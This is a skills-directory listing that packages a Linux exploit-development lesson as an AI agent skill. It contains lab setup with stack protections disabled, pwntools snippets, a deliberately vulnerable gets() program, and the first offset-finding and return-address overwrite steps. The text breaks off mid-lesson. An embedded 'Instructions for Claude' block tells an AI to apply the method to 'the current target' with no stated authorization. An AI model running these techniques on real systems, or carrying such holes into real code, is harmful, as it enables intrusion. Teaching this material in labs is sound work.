---
name: Basic Exploitation
slug: basic-exploitation
category: Quality
description: Basic Exploitation teaches foundational Linux exploitation techniques such as controlling EIP/RIP, ROP chain construction, ret2libc, shellcode injection, and heap spraying. Use it when building initial proofs of concept or understanding classic exploitation primitives with mitigations disabled.
github: "https://github.com/SnailSploit/Claude-Red/tree/main/Skills/exploit-dev/offensive-basic-exploitation"
language: Python
stars: 2930
forks: 479
install: "npx degit https://github.com/SnailSploit/Claude-Red/tree/main/Skills/exploit-dev/offensive-basic-exploitation ~/.claude/skills/offensive-basic-exploitation"
installs_to: ~/.claude/skills/offensive-basic-exploitation
source_path: Skills/exploit-dev/offensive-basic-exploitation/SKILL.md
collection_size: 25
category_size: 1354
collection_url: "https://dirskills.com/collections/SnailSploit/Claude-Red"
added: 2026-08-17T07:09:54.506Z
last_synced: 2026-08-17T07:09:54.506Z
canonical_url: "https://dirskills.com/skills/basic-exploitation"
---

# Basic Exploitation

Basic Exploitation teaches foundational Linux exploitation techniques such as controlling EIP/RIP, ROP chain construction, ret2libc, shellcode injection, and heap spraying. Use it when building initial proofs of concept or understanding classic exploitation primitives with mitigations disabled.

**Install:**

```bash
npx degit https://github.com/SnailSploit/Claude-Red/tree/main/Skills/exploit-dev/offensive-basic-exploitation ~/.claude/skills/offensive-basic-exploitation
```

## README

# SKILL: Week 5: Basic Exploitation (Linux with Mitigations Disabled)

## Metadata
- **Skill Name**: basic-exploitation
- **Folder**: offensive-basic-exploitation
- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/5-basic-exploitation.md

## Description
Week 5 exploit development curriculum. Foundational exploitation techniques: controlling EIP/RIP, ROP chain construction, ret2libc, shellcode injection, heap spraying, bypass techniques for ASLR/NX/stack canaries. Use when building initial PoCs or understanding classic exploitation primitives.

## Trigger Phrases
Use this skill when the conversation involves any of:
`basic exploitation, EIP control, RIP control, ROP chain, ret2libc, shellcode injection, heap spray, ASLR bypass, NX bypass, stack canary bypass, week 5`

## Instructions for Claude

When this skill is active:
1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings

---

## Full Methodology

# Week 5: Basic Exploitation (Linux with Mitigations Disabled)

## Overview

_created by AnotherOne from @Pwn3rzs Telegram channel_.

Now that you can find and analyze vulnerabilities (Week 2 & 4), it's time to learn exploitation. This week focuses on fundamental exploitation techniques in a simplified Linux environment with modern mitigations (DEP, ASLR, stack canaries) disabled. Mastering these basics is essential before tackling mitigation bypasses in Week 7.

Next week (Week 6) we'll focus on understanding mitigations in both Linux and Windows. Week 7 will cover bypassing them.

**Learning Environment**:

- **CPU arch (default)**: amd64 (x86-64)
- **OS**: Ubuntu 24.04 LTS (Linux)
- **Compiler Flags**: Disable protections (`-fno-stack-protector`, `-no-pie`, `-z execstack` for ret2shellcode labs, `/GS-`)
- **ASLR**: Keep enabled system-wide; disable per-process (`setarch -R`) or in GDB (`set disable-randomization on`) for deterministic labs
- **Focus**: Pure exploitation techniques without bypass complexity

## Day 1: Environment Setup and Stack Overflow Fundamentals

- **Goal**: Set up exploitation lab and understand stack buffer overflow mechanics.
- **Activities**:
  - _Reading_:
    - "Hacking: The Art of Exploitation" 2nd edition, by Jon Erickson - Chapter 0x300: "EXPLOITATION"
    - [Smashing The Stack For Fun And Profit](https://phrack.org/issues/49/14_md#article) - Classic paper
  - _Online Resources_:
    - [x86-64 Calling Conventions](https://wiki.osdev.org/Calling_Conventions)
    - [Stack Layout Visualization](https://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64)
  - _Tool Setup_:
    - Ubuntu VM with protections disabled
    - pwntools, pwndbg, ROPgadget
  - _Exercise_:
    - Compile and exploit first vulnerable program
    - Overwrite return address to execute shellcode

### Context: QNAP Stack Overflow (CVE-2024-27130)

- Recall the **QNAP QTS Stack Overflow** from Week 1? That was a classic stack buffer overflow caused by `strcpy` without bounds checking—exactly what we'll be exploiting today.
- While modern systems have mitigations (which we'll disable for now), the underlying mechanic remains the same: overwriting the return address to hijack control flow.

### Deliverables

- **Environment**: `~/check_env.sh` passes and you recorded its output
- **Binary**: `vuln1` built and verified with `checksec`
- **Primitive proof**: RIP control demonstrated (controlled crash address)
- **Exploit**: `exploit1.py` (or equivalent) spawns a shell reliably
- **Notes**: brief writeup covering offset, return target, and payload layout

### Setting Up the Lab Environment

**Ubuntu VM Configuration**:

> [!IMPORTANT]
> **ASLR Policy**: Keep ASLR **enabled system-wide** for security. Disable only per-process for labs.
> Never disable ASLR globally on a machine connected to the internet.

```bash
# ============================================================
# ASLR CONFIGURATION (Per-Process Only - Do NOT disable globally!)
# ============================================================
# Option 0: Disable ASLR system-wide
# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# echo "kernel.randomize_va_space = 0" | sudo tee /etc/sysctl.d/99-disable-aslr.conf
# sudo sysctl --system

# Option 1: Disable in GDB (recommended for debugging)
# In GDB/pwndbg:
# (gdb) set disable-randomization on    # Default in GDB
# (gdb) set disable-randomization off   # If you want ASLR during debug

# Option 2: Disable for a single binary run
setarch x86_64 -R ./binary

# Option 3: In pwntools (for local process only)
# p = process('./binary', aslr=False)

# VERIFY: Check system ASLR is STILL ENABLED
cat /proc/sys/kernel/randomize_va_space
# Should output: 2 (full ASLR) - DO NOT change this!

# If you previously disabled ASLR system-wide, RE-ENABLE it:
# echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
# sudo rm -f /etc/sysctl.d/99-disable-aslr.conf  # Remove any persistent config

# ============================================================
# INSTALL ESSENTIAL TOOLS
# ============================================================

sudo apt update
sudo apt install -y \
    nasm \
    strace \
    ltrace \
    ruby \
    ruby-dev \
    libc6-dbg \
    checksec \
    patchelf

cd ~/crash_analysis_lab
source .venv/bin/activate
pip install ropgadget

# Install one_gadget (quick shell gadgets)
sudo gem install one_gadget

# Install radare2 (optional but useful)
cd ~/tools
git clone --depth 1 --branch master https://github.com/radareorg/radare2
cd radare2
sys/install.sh

# Check glibc version (important for heap exploitation)
ldd --version
# Ubuntu 24.04 ships with glibc 2.39

# ============================================================
# STANDARDIZED COMPILATION PROFILES (AMD64)
# ============================================================
# Create a Makefile with canonical build profiles for labs:

cat > ~/lab-Makefile << 'MAKEFILE'
# Lab Exploitation Makefile - AMD64 Only
# Usage: make <target> BINARY=myprogram SOURCE=myprogram.c

CC = gcc
SOURCE ?= vuln.c
BINARY ?= vuln

# Base flags for all builds (AMD64)
BASE_CFLAGS = -g -O0 -fno-omit-frame-pointer -fno-stack-protector
BASE_LDFLAGS = -no-pie

# Training profiles:
# 0. disabled: most things disabled
# 1. training-shellcode: NX disabled, for ret2shellcode exercises
# 2. training-rop: NX enabled, for ROP/ret2libc exercises
# 3. training-relro-off: Partial RELRO, for GOT overwrite exercises
# 4. training-full-relro: Full RELRO, to demonstrate GOT write fails
# 5. format-sec: for format-security bugs

disabled: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -z execstack -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-shellcode: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -z execstack -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-rop: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-relro-off: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,norelro -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=OFF"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-full-relro: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,relro,-z,now -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=FULL (GOT read-only!)"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

format-sec: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -Wno-format-security -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

# Show all protections
check:
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

clean:
	rm -f $(BINARY) *.o

.PHONY: disabled training-shellcode training-rop training-relro-off training-full-relro format-sec check clean
MAKEFILE

echo "Makefile created at ~/lab-Makefile"
echo "Copy to your lab directory: cp ~/lab-Makefile ./Makefile"
```

> [!NOTE]
> Ubuntu 24.04:
>
> - Uses glibc 2.39 with full safe-linking and removed hooks
> - Requires `python3-venv` for pip package installation (PEP 668)
> - For classic heap techniques, consider using Docker with older Ubuntu

### GDB Enhancement Options

**Verify Setup**:

```bash
mkdir -p exploit
cd exploit
cp ~/lab-Makefile ./Makefile
source ~/crash_analysis_lab/.venv/bin/activate

# Test pwntools
python3 -c "from pwn import *; print('pwntools OK')"

# Test compilation without protections (AMD64)
cat > test.c << 'EOF'
#include <stdio.h>
#include <string.h>
int main() {
    char buf[100];
    gets(buf);  // Vulnerable: reads from stdin, no bounds check
    return 0;
}
EOF

make training-shellcode BINARY=test SOURCE=test.c
#gcc -g -O0 -w -fno-stack-protector -z execstack -no-pie test.c -o test
# Should compile without errors (-w suppresses gets() warning)
# Check binary protections (should all be disabled)
# Use either: checksec (from apt) or pwn checksec (from pwntools)
# checksec --file=./test
# Or: pwn checksec ./test
# Expected output (may vary slightly by checksec version):
#     Arch:       amd64-64-little
#     RELRO:      Partial RELRO
#     Stack:      No canary found
#     NX:         NX unknown - GNU_STACK missing  (effectively disabled via -z execstack)
#     PIE:        No PIE (0x400000)
#     Stack:      Executable
#     RWX:        Has RWX segments
#     SHSTK:      Enabled    (Intel CET Shadow Stack - CPU feature, not binary)
#     IBT:        Enabled    (Intel CET Indirect Branch Tracking)
# Note: "NX unknown" with "Stack: Executable" means shellcode execution works

# ============================================================
# SANITY CHECK SCRIPT (Run Before Each Lab)
# ============================================================
cat > ~/check_env.sh << 'SCRIPT'
#!/bin/bash
# Lab Environment Sanity Check
# Run: ./check_env.sh [binary]

echo "=== Lab Environment Check ==="
echo ""

# System info
echo "[*] System Information:"
echo "    Kernel: $(uname -r)"
echo "    glibc:  $(ldd --version | head -1 | awk '{print $NF}')"
echo ""

# ASLR status
echo "[*] ASLR Status:"
ASLR=$(cat /proc/sys/kernel/randomize_va_space)
case $ASLR in
    0) echo "    WARNING: ASLR is DISABLED system-wide (insecure!)" ;;
    1) echo "    Partial ASLR (stack only)" ;;
    2) echo "    Full ASLR enabled (correct for system)" ;;
esac
echo ""

# Binary check
if [ -n "$1" ] && [ -f "$1" ]; then
    echo "[*] Binary Analysis: $1"
    echo "    Architecture: $(file "$1" | grep -oE '(32|64)-bit')"
    checksec --file="$1" 2>/dev/null || pwn checksec "$1" 2>/dev/null
    echo ""
fi

# GDB randomization
echo "[*] GDB ASLR (check inside GDB with 'show disable-randomization'):"
echo "    Default: ON (disabled randomization = deterministic addresses)"
echo ""

echo "[+] Environment check complete."
echo "    For per-process ASLR disable: setarch x86_64 -R ./binary"
echo "    Or in pwntools: process('./binary', aslr=False)"
SCRIPT
chmod +x ~/check_env.sh
echo "Sanity check script created: ~/check_env.sh"
~/check_env.sh
```

### pwntools Essentials

Before diving into exploitation, master these pwntools fundamentals. The `ELF()` class is your primary interface for analyzing binaries—use it throughout this course.

**ELF() Basics**:

```bash
cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
cp ~/crash_analysis_lab/vuln_no_protect .
```

```python
#!/usr/bin/env python3
# ~/exploit/1.py
from pwn import *

# Load the binary and set context
elf = ELF('./vuln_no_protect')
context.binary = elf   # Auto-sets arch, os, endian, bits
context.arch = 'amd64' # Explicit (redundant if context.binary is set)

# Binary metadata (always check these first!)
print(f"Architecture: {elf.arch}")          # amd64
print(f"Bits: {elf.bits}")                   # 64
print(f"Endian: {elf.endian}")               # little
print(f"PIE enabled: {elf.pie}")             # True/False
print(f"Entry point: {hex(elf.entry)}")      # Where execution starts

# Security mitigations (same as checksec)
print(elf.checksec())

# Symbol lookup - CRITICAL for exploitation
print(f"main @ {hex(elf.symbols['main'])}")
print(f"vulnerable_function @ {hex(elf.symbols['stack_overflow'])}")

# Find imported functions (from libc)
print(f"puts@plt: {hex(elf.plt['puts'])}")   # PLT stub
print(f"puts@got: {hex(elf.got['puts'])}")   # GOT entry

# Find gadgets and strings
print(f"'/bin/sh' in binary: {hex(elf.search(b'/bin/sh').__next__())}" if b'/bin/sh' in elf.data else "Not found")

# For binaries linked with libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print(f"system in libc: {hex(libc.symbols['system'])}")
print(f"/bin/sh in libc: {hex(next(libc.search(b'/bin/sh')))}")
```

**Context Configuration** (set BEFORE any pwntools operations):

```python
# ~/exploit/2.py
from pwn import *

# === CRITICAL: Set context from binary (AMD64) ===
elf = ELF('./vuln_no_protect')
context.binary = elf     # Sets arch='amd64', os='linux', endian='little' automatically!

# Or set explicitly (redundant if context.binary is set)
# context.arch = 'amd64'
# context.os = 'linux'
# context.endian = 'little'

# Logging level
context.log_level = 'debug'  # Show all pwntools output
context.log_level = 'info'   # Normal output (default)
context.log_level = 'error'  # Only errors

# Data packing (architecture-aware after setting context)
addr = p64(0xdeadbeef)        # Pack 64-bit address (little-endian) - AMD64
val = u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00')  # Unpack 8 bytes to integer
```

### Understanding the Stack (AMD64)

**Stack Layout (x86-64 / AMD64)**:

```
High Memory
┌─────────────────────┐
│  Command-line args  │
├─────────────────────┤
│  Environment vars   │
├─────────────────────┤
│        ...          │
├─────────────────────┤
│   Stack Frame N     │
│  ┌───────────────┐  │
│  │   Locals      │  │ ← RSP (Stack Pointer)
│  ├───────────────┤  │
│  │   Saved RBP   │  │ ← RBP (Base Pointer)
│  ├───────────────┤  │
│  │   Return Addr │  │ ← Overwrite target! (8 bytes on AMD64)
│  ├───────────────┤  │
│  │   (Args 7+)   │  │   (First 6 args in registers!)
│  └───────────────┘  │
├─────────────────────┤
│   Stack Frame N-1   │
├─────────────────────┤
│        ...          │
└─────────────────────┘
Low Memory
```

**AMD64 vs x86 Key Differences**:

| Feature             | x86 (32-bit)      | AMD64 (64-bit)             |
| ------------------- | ----------------- | -------------------------- |
| Register prefix     | E (EAX, EBP, ESP) | R (RAX, RBP, RSP)          |
| Instruction pointer | EIP               | RIP                        |
| Address size        | 4 bytes           | 8 bytes                    |
| Arguments           | All on stack      | RDI, RSI, RDX, RCX, R8, R9 |
| Return value        | EAX               | RAX                        |
| Syscall instruction | `int 0x80`        | `syscall`                  |
| Stack alignment     | 4-byte            | **16-byte before `call`**  |

**System V AMD64 ABI Calling Convention**:

```asm
; AMD64 function call: func(arg1, arg2, arg3, arg4, arg5, arg6, arg7)
; Arguments in order:
;   RDI = arg1
;   RSI = arg2
;   RDX = arg3
;   RCX = arg4
;   R8  = arg5
;   R9  = arg6
;   stack = arg7+ (pushed right-to-left)
; Return value: RAX

; Example: write(1, buf, len)
mov rdi, 1        ; fd = stdout
mov rsi, buf      ; buffer address
mov rdx, len      ; length
call write

; Syscall convention (slightly different):
;   RAX = syscall number
;   RDI, RSI, RDX, R10, R8, R9 = arguments (note: R10 instead of RCX!)
;   syscall instruction (not int 0x80)
```

**Function Call Mechanics (AMD64)**:

```asm
; Calling a function (AMD64)
; Arguments go in registers (first 6)
mov rdi, arg1
mov rsi, arg2
call function      ; Pushes 8-byte return address

; Inside function
function:
    push rbp          ; Save old base pointer (8 bytes)
    mov rbp, rsp      ; Set new base pointer
    sub rsp, 0x40     ; Allocate space for locals (must maintain 16-byte alignment)

    ; Function body...

    mov rsp, rbp      ; Restore stack pointer (or: leave)
    pop rbp           ; Restore base pointer
    ret               ; Return (pops return address into RIP)
```

**Buffer Overflow Visualization (AMD64)**:

```text
Before overflow:
┌──────────────────┐
│   buffer[64]     │ ← strcpy writes here
├──────────────────┤
│   saved RBP      │  (8 bytes on AMD64)
├──────────────────┤
│  return address  │  (8 bytes on AMD64)
└──────────────────┘

After overflow with 80 'A's:
┌──────────────────┐
│ AAAAAAAAAA...    │ ← buffer filled (64 bytes)
├──────────────────┤
│ AAAAAAAA         │ ← saved RBP overwritten (8 bytes)
├──────────────────┤
│ AAAAAAAA         │ ← return address overwritten! (8 bytes)
└──────────────────┘

When function returns:
- Pops 0x4141414141414141 into RIP
- CPU tries to execute at 0x4141414141414141
- Segmentation fault (or controlled execution if address is valid)
```

### First Vulnerable Program

**vuln1.c**:

```c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
    char buffer[64];
    printf("Enter input: ");
    gets(buffer);  // Vulnerable! No bounds checking, allows null bytes
    printf("You entered: %s\n", buffer);
}

// Add this function to vuln1.c to include jmp rsp bytes
void gadgets() {
    __asm__("jmp *%rsp");  // This creates a jmp rsp gadget
}

int main() {
    printf("Buffer overflow example\n");
    vulnerable_function();
    printf("Returned safely\n");
    return 0;
}
```

**Compile without protections (AMD64)**:

```bash
cd ~/exploit
# AMD64 compilation (no -m32!)
# -w suppresses the gets() deprecation warning
make disabled BINARY=vuln1 SOURCE=vuln1.c
#gcc -g -O0 -w \
#    -fno-stack-protector \
#    -fcf-protection=none \
#    -z execstack \
#    -no-pie \
#    -o vuln1 \
#    vuln1.c
#checksec --file=./vuln1
```

#### Finding the Offset

**Step 1: Cause a Crash**:

```bash
# Try various sizes via stdin
echo "AAAA" | ./vuln1
# Works fine

python3 -c "print('A' * 100)" | ./vuln1
# Segmentation fault
```

**Step 2: Find Exact Offset** (using pattern):

```python
#!/usr/bin/env python3
#~/exploit/4.py
from pwn import *

context.arch = 'amd64'

# Generate cyclic pattern
pattern = cyclic(100)
print(pattern)

# Run program with pattern via stdin
# aslr=False + env={} for consistent addresses during learning
p = process('./vuln1', aslr=False, env={})
p.sendline(pattern)
p.wait()
```

**In GDB with pwndbg (AMD64)**:

```bash
gdb ./vuln1

# Run and send pattern via stdin
pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(100).decode())")

# Or run, then paste pattern when prompted:
#pwndbg> run
#Enter input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

# Find offset from crash (RSP contains the pattern)
pwndbg> cyclic -n 4 -l saaa
# Output: 72

# So offset is 72 bytes (64 buffer + 8 saved RBP)
```

**Verify Offset (AMD64)**:

```python
# ~/exploit/5.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

# Build payload
payload = b"A" * 72                    # Fill buffer + saved RBP
payload += p64(0xdeadbeefcafebabe)     # Overwrite return address (8 bytes)

# Run and send via stdin (aslr=False for learning)
p = process('./vuln1', aslr=False, env={})
p.sendline(payload)
p.wait()
```

**In GDB (AMD64)**:

```bash
gdb ./vuln1
pwndbg> run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xbe\xba\xfe\xca\xef\xbe\xad\xde')")

# Program crash
